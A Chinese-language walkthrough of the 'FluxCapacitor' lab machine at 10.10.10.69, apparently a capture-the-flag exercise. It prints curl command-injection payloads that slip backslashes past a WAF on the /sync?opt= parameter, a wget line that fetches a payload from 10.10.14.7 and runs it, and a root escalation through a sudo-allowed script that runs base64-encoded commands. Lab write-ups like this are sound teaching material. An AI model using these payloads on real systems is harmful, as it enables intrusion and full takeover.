FluxCapacitor(from nobody to root)

10.10.10.69

scan

80/tcp open http SuperWAF

查看源代码,有一段注释,是javascript代码。

1
2
3
4
	<!--
		Please, add timestamp with something like:
		<script> $.ajax({ type: "GET", url: '/sync' }); </script>
	-->

于是访问http://10.10.10.69/sync

1
2
3
4
5
6
7
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>

攻击向量

OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。

CVE-2018-9230:OpenResty中的Uri参数溢出

  • 可能是版本漏洞
  • 扫描sync目录,确认了参数opt,可以执行某些命令

trying

searchsploit openResty searchsploit CVE-2018-9230 searchsploit SuperWAF 无exp


gobuster扫描存在的目录:

1
2
sync
synctoy

经过信息搜集,了解到openResty是一个web服务器(比如说nignx,apache),superwaf没有任何资料。

用curl访问,获取当前时间戳;用浏览器访问,获得403,于是用burp抓包。

如果将User-Agent:删除,成功获取当前时间戳 5

准备提权

在linux命令中,反斜杠’' 与其他字符一起,会被解释为特殊含义字符。

例如\n ,换行符;' ,将单引号转义。

如果不使用单引号和双引号(如:echo \,输出为空),则反斜杠可以被看做自动忽略。

6

利用这个特性,我们可以用反斜杠插入要执行的命令,从而绕过/sync脚本的限制

7


1
2
3
4
5
6
7
8
9
10
curl "http://10.10.10.69/sync?opt=' sudo -l'"
curl "http://10.10.10.69/sync?opt=' c\at /home/themiddle/.monit'"
curl "http://10.10.10.69/sync?opt=' whe\reis n\c'"
curl "http://10.10.10.69/sync?opt=' w\hereis python'"
curl "http://10.10.10.69/sync?opt=' w\hereis wg\et'"
curl "http://10.10.10.69/sync?opt=' /usr/bin/pyt\hon3.6 -V'"

curl "http://10.10.10.69/sync?opt=' /usr/bin/wg\et http://10.10.14.7:8888/p.elf -P /tmp'"   发现p.elf不能保存到/tmp,于是将payload改名为index.html.1
curl "http://10.10.10.69/sync?opt=' ch\mod a+x /tmp/index.html.1'"
curl "http://10.10.10.69/sync?opt=' ./tmp/index.html.1'"

info

1
2
3
os: Linux fluxcapacitor 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

/bin/nc , /usr/bin/python3.6 , /usr/bin/wget

shell脚本

/home/themiddle/.monit

1
2
3
4
5
6
7
#!/bin/bash

if [ "$1" == "cmd" ]; then
	echo "Trying to execute ${2}"
	CMD=$(echo -n ${2} | base64 -d)
	bash -c "$CMD"
fi

提权

参考以前文章 8

1
2
3
4
5
6
7
8
9
/usr/bin/python3.6 -c 'import pty; pty.spawn("/bin/bash")'

cd /home/themiddle/
./.monit cmd bHMK
sudo ./.monit cmd Y2F0IC9yb290L3Jvb3QudHh0Cg==(cat /root/root.txt)

通过sudo ./.monit cmd 任意命令

这种方式,可以以root权限执行任意命令

总结

wfuzz报错了,在这个实验中,fuzz到/sync?opt=,是获得突破点的关键。